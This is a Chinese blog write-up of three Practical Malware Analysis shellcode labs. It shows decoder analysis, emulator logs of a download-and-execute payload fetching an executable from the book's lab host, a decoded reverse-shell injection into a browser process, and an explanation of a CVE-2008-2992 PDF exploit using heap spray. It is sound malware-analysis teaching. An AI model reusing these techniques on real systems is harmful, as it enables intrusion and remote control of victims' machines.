• 恶意代码分析实战 shellcode分析 lab 191 192 193 整体来说 对汇编代码的分析要求较高 因为没法直接反编译为C代码看


    Lab 19-1

    ==》先申明下,因为缺失利用该shellcode的上下文,也就是漏洞利用的环境,所以分析起来非常蛋疼!

    本次实验我们将会分析lab19-01文件。先来看看要求解答的问题
    Q1.这段shellcode是如何编码的?
    Q2.这段shellcode手动导入了哪个函数?
    Q3.这段shellcode和哪个网络主机通信?
    Q4.这段shellcode在文件系统上留下了什么迹象?
    Q5.这段shellcode做了什么?

    分析“恶意代码、shellcode”的利器:scdbg

    1、什么是scdbg

    scdbg是一款多平台开源的Shellcode模拟运行、分析工具。其基于libemulibrary搭建的虚拟环境,通过模拟32位处理器、内存和基本Windows API运行环境来虚拟执行Shellcode以分析其行为。

    2、基本原理

    众所周知,shellcode为了实现特定的功能必须通过调用系统API来完成-不论先前怎怎么变形怎么加密最后都会调用系统API。scdbg就是通过模拟执行以及hook多达200多个API来探测shellcode的行为。当然比如创建文件和访问网络这些危险的API并没有真正的在本机执行,而是通 过传回虚假的返回值来欺骗shellcode让其平稳运行。

    3、亮点

    A.跨平台开源

    同时支持unix和windows系统。对有系统洁癖的同学来说可以放心在unix下搭建环境“调戏”shellcode了。

    B.文档类格式漏洞

    scdbg能很容易通过交互方式分析诸如pdf,excel,word等文档类漏洞释放出来的shellcode。这类漏洞的相同点就是首先肯定会通过调用GetFileSize找到宿主文件句柄然后进行下一步操作。

    4、资源下载

    A.WIN32

    可执行程序: http://sandsprite.com/CodeStuff/scdbg.zip

    源代码:https://github.com/dzzie/VS_LIBEMU

    git clone git://github.com/dzzie/VS_LIBEMU.git

    B.*nix/Cygwin Source

    源代码 : https://github.com/dzzie/SCDBG

    git clone git://github.com/dzzie/SCDBG.git

    5、具体使用:

    D:\迅雷下载\scdbg>scdbg.exe -f "D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.bin" -r -d
    Loaded 53e bytes from file D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.bin
    Memory monitor enabled..
    Initialization Complete..
    Dump mode Active...
    Max Steps: 2000000
    Using base offset: 0x401000
    
    401313  LoadLibraryA(URLMON)
    40132d  GetSystemDirectoryA( c:\windows\system32\ )
    40134c  URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
    401358  WinExec(c:\WINDOWS\system32\1.exe)
    40135b  GetCurrentProcess() = 1
    401364  TerminateProcess(1) = 1
    
    Stepcount 237493
    Primary memory: Reading 0x53e bytes from 0x401000
    Scanning for changes...
    Change found at 548 dumping to D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.unpack
    Data dumped successfully to disk
    
    Analysis report:
            Sample decodes itself in memory.        (use -d to dump)
            Uses peb.InInitilizationOrder List
            Instructions that write to code memory or allocs:
            40121a   AA                              stosb
            40132f   C7075C312E65                    mov dword [edi],0x652e315c
            401335   C7470478650000                  mov dword [edi+0x4],0x6578
    
    Signatures Found:  None
    
    Memory Monitor Log:
            *PEB (fs30) accessed at 0x4012a1
            peb.InInitializationOrderModuleList accessed at 0x4012ac
    

     dump后的文件在dumping to D:\virus_test\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs\Practical Malware Analysis Labs\BinaryCollection\Chapter_19L\Lab19-01.unpack

     其他分析如下,非常繁琐,因为这个里面要做xor的解密,恶意代码作者为防止签名的嗅探!

    将实验程序载入IDA
    在这里插入图片描述

    可以看到是一些ecx自增操作
    一直到了200开始才是正常的代码段
    在这里插入图片描述

    shellcode的解码器也是从这里开始的
    一开始的xor用于清空ecx,之后将18dh赋给cx
    jmp来到loc_21f,而在下图可以看到loc_21调用sub_208,在call指令执行后,就会把下一条指令的地址也就是224压到栈顶
    如下所示
    在这里插入图片描述

    可见这里是一个循环
    循环体外的202处看到ecx被赋值18dh,循环体中的21B处有dec ecx,这说明ecx是起到计数器的作用
    将光标定位到sub_208,按空格键切换模式
    在这里插入图片描述

    可以看到和我们描述的一样,再切换回来
    208处pop指令会将栈顶也就是224这个地址赋给esi
    之后push则是将其压栈,mov指令将esi赋给edi
    lodsb指令在这里是将esi赋给eax,esi中的地址是224,该地址的值是多少呢?
    我们光标定位到224,按d键
    在这里插入图片描述

    点击yes得到如下结果
    在这里插入图片描述

    可以看到该地址的值是49h
    也就是将49h赋给eax
    之后al赋给dl,dl此时的值就是49h,dl减去41h,所得结果左移4位
    然后esi自增,变成了225,同样定位到225,按d键,结果如下
    在这里插入图片描述

    通过215处的lodsb将225地址的值4ah赋给eax,al的值就是4ah
    al-41h,再将其结果与dl相加,结果保存在al
    21a处的stodb将eax的内容赋给edi所指向的地址的位置,而edi这次是被赋了224这个地址,也就是说上面运算的结果被保存在了224地址处
    之后,edi会指向下一个地址,Ecx自减,然后继续循环
    在21e处的retn则会来到224处,在224开始解码,这里就是开始解码的地方。
    我们知道这是解码的操作,但是上面的分析可以还是比较麻烦的,我们尝试将shellcode从bin文件提取出来(提出来的shellcode在shellcodet.txt)
    shellcode.txt如下所示
    然后将其填入模板template.txt
    得到test.txt
    使用vc++6.0编译
    首先创建一个test.cpp文件
    在这里插入图片描述

    然后将test.txt内容粘贴进去
    在这里插入图片描述

    接着依次编译、链接
    点击下图两个按键就可以
    在这里插入图片描述

    在debug目录下得到test.exe
    在这里插入图片描述

    使用od分析test.exe
    直接ctrl+g来到4016b4的地方,这里是调用main函数的地址
    在这里插入图片描述

    我们在这里下断点,然后命中,接着f7步入
    在这里插入图片描述

    这样就来到了main函数中
    直接往下走到retn处(在4010bb下断点,再命中即可)
    在这里插入图片描述

    然后切换到打开的cmd中,按下回车
    在这里插入图片描述

    再回到ollydbg,f7单步走,来到了shellcode解码的地方

    在这里插入图片描述

    注意:
    这里开始就是我们在IDA中看到的解码的部分,我们在ollydbg在按照od所呈现的信息再简单分析一遍
    解码部分从12fb80开始,加载被编码的字节对,减去基值0x41,移位并且将两个值相加,然后将结果存回内存中。12fb89处的push指令用12fb9e处的retn指令将控制转到攻击负载
    Q1.这段shellcode是如何编码的?
    A1.这个shellcode使用了一种字母编码的方式,攻击负载的一个字节存储在两个编码字节的低4比特位
    注意到既然12fb9e处有个retn,我们可以直接在这里下断点
    在这里插入图片描述

    就可以完成解密的流程,得到解密后的代码

    注意看上图,在还没有按f9命中的时候12fba4开始往下的地方都是没有正确识别出指令的
    接下来我们下完断点,按f9执行,如下所示
    在这里插入图片描述

    12fba4开始往下的指令都被成功解码出来了
    接下来回到第二个问题:这段shellcode手动导入了哪些函数?
    这里我们切换到kali使用sctest来模拟shellcode,命令如下
    sctest -Svs 1000000 < Lab19-01.bin > sectest-lab19.txt
    结果如下所示
    在这里插入图片描述

    在这里看到shellcode导入了
    LoadL ibraryA
    GetSystemDirectoryA
    WinExec
    URLDownloadToFileA
    Q2.这段shellcode手动导入了哪些函数?
    A2.shellcode导入了:
    LoadL ibraryA
    GetSystemDirectoryA
    WinExec
    URLDownloadToFileA
    从上图可以看到shellcode会连接到http://www.practicalmalwareanalysis. com/shellcode/annoy_user. exe
    Q3.这段shellcode和哪个网络主机通信?
    A3. shellcode 下载如下URL:
    http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe。
    在上图我们注意到
    使用URLDownloadToFile将annoy_user.exe下载后保存为了system32目录下的1.exe文件,之后会通过winexec来运行
    Q4.这段shellcode在文件系统上留下了什么迹象?
    A4. shellcode 在文件系统上写了文件%SystemRoot%\System32\I.exe,并运行它。
    Q5.这段shellcode做了什么?
    A5. shellcode 会从指定的URL下载文件,将下载的文件写到硬盘,并运行它。

     
     

    恶意软件分析实战19-shellcode调试逆向Lab19-2

    把样本拖入VT内分析:

     可以看到爆红,查看一下细节, 发现了IE浏览器进程被创建了。

     查看一下导入函数,发现导入了提权相关API。

    还有远线程注入以及进程创建相关的API  ==========>当然,通过PEID或者depends工具都是可以看到该exe导入的函数!

     

     现在把程序拖入IDA中,一上来就获取了debug权限,后来就获取了IE的路径

     其打开了注册表的HKEY_LOCAL_MACHINE\\http\\shell\\open\\command项, 即IE的路径,这个命令行执行后会打开IE浏览器

     接着就以隐藏方式开启了IE浏览器,接着把shellcode注入到IE浏览器内部

     创建IE进程的代码:

     这里是创建远线程进行注入的代码:

     shellcode的首地址以参数形式传递给了函数

     获取shellcode的首地址: 

     接下来我们直接用Ollydbg来调试shellcode, 将EIP指针指向该shellcode的首地址

    0xE7是秘钥, 利用这个来解密代码

      注意这段代码, 它的首地址是0x407048

     解密循环结束后,同样的位置代码已经改变,解密完成,现在开始分析shellcode

     这段代码获取了kernel32.dll的基地址

     这里解析kernel32.dll的PE结构的导出表,查找对应函数名的hash值:

     接下去就是通过函数名的HASH值来搜索该函数地址然后保存起来

     下面是获取ws2_32.dll里面的api函数

     直接执行了网络行为,我们来观测一下这个connect函数。connect参数内会有服务器的IP地址以及端口号

    重点关注这个地址:

     现在分析出几个字段, 查看下IP是0x02C8A8C0

     写一段小代码获取对应的IP地址, 发现是一个内网地址。现在把虚拟机内网地址设置成这个,然后开启nc监听0x3412端口

     修改网卡的静态内网IP:

     设置监听:

    然后创建了一个cmd进程后就结束了这个进程。这感觉是个反向shell。

     果然是个后门:

     总结下来这个程序做的事情就是创建隐藏进程后远程注入shellcode执行后门

    我自己本机运行效果图:

    看下火绒剑里监控的数据,因为进程注入,适合用火绒剑而不是procmon、proexp这些:

    看到了进程注入:

     详细的进程注入日志如下(其他的注册表啥的不看了):

    21:15:27:343,	Lab19-02.exe,	2332:0,	2332,	PROC_exec,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 cmdline:'"C:\Program Files\liebao\liebao.exe" "%1"' ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	THRD_resume,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 target_tid:1712 ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_open,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 access:0x0000002A ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_pgprot,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x00150000 count:0x000001A7 attrib:0x00000040 bytes_changed:0x00001000 ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_pgprot,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x00150000 count:0x00001000 attrib:0x00000040 bytes_changed:0x00001000 ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_writevm,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x00150000 bytes_written:0x000001A7 datalen:0x000001A7 data:'EB 11 5F 66 68 8F 01 66 59 B0 E7 30 07 47 67 E2 ' ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	PROC_pgprot,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 base:0x0025E000 count:0x00001000 attrib:0x00000104 bytes_changed:0x00001000 ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	THRD_remote,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 target_tid:1288 access:0x001F03FF suspended:true start_vaddr:0x00150000 thread_param:0xB170ED64 ,	0x00000000 [操作成功完成。  ],	
    21:15:27:343,	Lab19-02.exe,	2332:2864,	2332,	THRD_resume,	C:\Program Files\liebao\liebao.exe,	target_pid:2268 target_tid:1288 ,	0x00000000 [操作成功完成。  ],	
    

     lab 19-3

    本次实验我们将会分析lab19-03相关文件。先来看看要求解答的问题
    Q1.这个PDF中使用了什么漏洞?
    Q2.这段shellcode是如何编码的?
    Q3.这段shellcode导入了哪些函数?
    Q4.这段shellcode在文件系统上留下了什么迹象?
    Q5.这段shellcode做了什么?
    分析文件Lab19-03.pdf以及lab19-03_sc.bin
    首先我们切换到kali进行分析
    先使用pdfid检查下
    在这里插入图片描述

    注意到有js,javascript,结合题目的问题,那么可能这个pdf文件就是利用JavaScript来进行攻击的
    我们进一步在win上使用PDFStremDumper检测,将pdf载入,点击exploit_scan得到下入所示文档
    在这里插入图片描述

    可以看到利用的是CVE-2008-2992
    Q1.这个PDF中使用了什么漏洞?
    A1. PDF 文件中包含一个CVE-2008-2992漏洞
    我们选择第9个data stream
    在这里插入图片描述

    可以看到内嵌其中的JavaScript脚本
    在这里插入图片描述

    具体分析如下
    在这里插入图片描述

    使用unescape函数和一个字符串来初始化攻击负载
    可以使用脚本进行相应的解码后将其转换为二进制文件
    在这里插入图片描述

    检查应用程序的版本来决定它是否应该尝试漏洞利用
    在这里插入图片描述

    执行了堆喷射的操作,之后调用util.printf触发漏洞利用,可以看到输出一个很大的数字,这是很可疑的。这正是为了触发漏洞,因为这里存在不当的边界检查,从而造成缓冲区溢出攻击。
    Q2.这段shellcode是如何编码的?
    A2.这个文件中的shellcode使用的是JavaScript的percent-encoding编码形式,也就是百分号编码,并且随着JavaScript一起保存在PDF中。
    我们可以先使用sctest生成调用流图
    root@kali:~# sctest -Svs 1000000 -G shell.dot < Lab19-03_sc.bin > shell
    root@kali:~# dot shell.dot -T png -o diagram.png
    在这里插入图片描述

    得到的图片如下所示
    在这里插入图片描述

    图中只看到了两个关键的函数
    在这里插入图片描述

    分别是GetFileSize和LoadLibrary
    接下来使用scdbg进一步查看其导入函数
    scdbg –f bin文件 –fopen pdf文件 –i
    在这里插入图片描述

    由上图可知调用了CreateFile创建了foo.exe,bar.pdf
    对应的,之后会调用CrateProcess创建进程,调用ShellExecute打开bar.pdf
    Q3.这段shellcode导入了哪些函数?
    A3.如上图所示,导入了很多,这里不一一列举。
    Q4.这段shellcode在文件系统上留下了什么迹象?
    A4. shellcode 在文件系统上创建文件%TEMP%foo. exe与%TEMP%\bar.pdf。

    我们仔细看上scdbg的回显结果,程序在临时文件夹中写入了foo.exe,bar.pdf;此外通过CreateProcessA创建了foo.exe进程,通过ShellExecute打开bar.pdf
    我们可以通过IDA来分析bin文件
    打开后直接按c键,将其转为代码
    在这里插入图片描述

    注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧
    之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据
    双击跟入sub_17b
    在这里插入图片描述

    Pop esi则是把0d的地址赋给了esi
    继续往下看
    在这里插入图片描述

    这里需要注意,在000183处调用的sub_CA,实际上就是findkernel32Base,用于查找系统中的kernel32.dll的地址。而0x195位置的是findSymbolByHash函数,用于hash值的计算
    在18b处可以看到一共是是对kernel32做了0xe次操作,也就是14次操作
    在19d,1a2看到两个push,我们可以将其右键转换如下所示
    在这里插入图片描述

    拼接起来可知,程序在19D以及1A2的位置压入了“shell32”这个字符串,作为LoadLibrary函数的参数
    继续往下分析
    在这里插入图片描述

    注意,1c6处的call实际上是在调用GetFIleSize,给定一个句柄,这个函数会返回句柄对应的文件大小。在1b6处的xor指令首先将句柄初始化为0,然后在1bb处每次迭代都加上4.
    得到的结果会与shellcode嵌入数据区偏移量为0x3c处的值比较,这个偏移处应该是有一个给定的值的,不过由于我们现在是静态分析,无法获得。
    我们猜测这应该是shellcode在启动漏洞攻击之前,先判断当前pdf文件的大小是否和lab19-03.pdf的大小一致。
    继续往下分析
    在这里插入图片描述

    这里需要注意,1ef处的call是调用SetFilePointer
    在1e9处注意到基于嵌入数据区的偏移量为0x40
    这里是通过调用SetFilePointer调整文件指针在恶意pdf中的位置,基于嵌入数据区的偏移量为0x40处的值,从恶意pdf中提取出第一个文件的文件偏移量。之后调用sub_13d来读取文件内容。
    继续往下分析
    在这里插入图片描述

    这里注意,21e处的call实际上是调用GetTempPathA
    这里shellcode是构造了一个输出文件路径,调用GetTempPathA,然后会追加字符串
    追加的内容可以在22f,235处可以看到,这里需要转换成如下所示
    在这里插入图片描述

    可以看到追击的字符串的内容为foo.exe
    继续往下分析
    在这里插入图片描述

    252处的sub_EB实际是用于将缓冲区内容写入磁盘,注意到在调用它之前有5个连续push,说明其有5个参数,它会使用246处的0x4a与输入缓冲区中的每个字符串异或,然后将解密的缓冲区写入到245处的eax中的值(也就是说此处eax的内容就是该函数的输出文件名)
    结合前一段指令的分析结果,我们知道这里是会写入文件foo.exe
    注意286处的call实际是调用CreateProcessA,这个文件名会被传递给CreateProcessA调用,它负责用刚刚写入磁盘的文件创建一个新进程
    继续往下分析
    在这里插入图片描述

    这一部分shellcode是在重复相同的过程来提取存储在恶意pdf中的第二个文件
    在294处,shellcode根据存储在嵌入数据偏移量0x4c处的文件的大小来分配一个内存空间,然后会根据2a6处的偏移量0x48存储的文件偏移量,来调整文件指针的位置
    继续往下分析
    在这里插入图片描述

    这里shellcode使用与第一个文件相同的临时文件路径,但是在2c3,2c9处的表示的文件名换了,我们可以转换后看到如下所示
    在这里插入图片描述

    看到是用bar.pdf替换了文件名
    2e3处的sub_EB使用2d7处给出的0x4a来解码文件内容,并将其写入%temp%bar.pdf
    继续往下分析
    在这里插入图片描述

    这里先把2f0处的数字转换一下
    在这里插入图片描述

    看到是open
    注意310处的call是调用ShellExecute
    这里shellcode调用ShellExecute打开它刚刚写入到%temp%bar.pdf中的pdf文件
    之后shellcode传入命令字符串open和PDF的路径使得系统可以使用已注册的应用程序打开这个指定的文件
    Q5.这段shellcode做了什么?
    A5. shellcode 从PDF中提取其中存储的两个编码文件,并且将它们写入%TEMP%目录。同时,它运行foo.exe文件,并打开bar.pdf文档。

     
  • 相关阅读:
    2018-06-15for与数组/for-in与数组/一维二维多维数组
    2018-06-14控制语句for+switch+while循环
    2018-06-13JS分支结构+转义符
    2018-06-12JavaScript基础知识1
    2018-06-11笔记
    2018-06-08CSS常用样式+浮动+定位+盒子模型
    2018-06-06Div+CSS基础理论
    2018-06-05表单结构
    2018-06-04表格结构+表格嵌套
    2018-06-02笔记
  • 原文地址:https://www.cnblogs.com/bonelee/p/16758577.html
Copyright © 2020-2023  润新知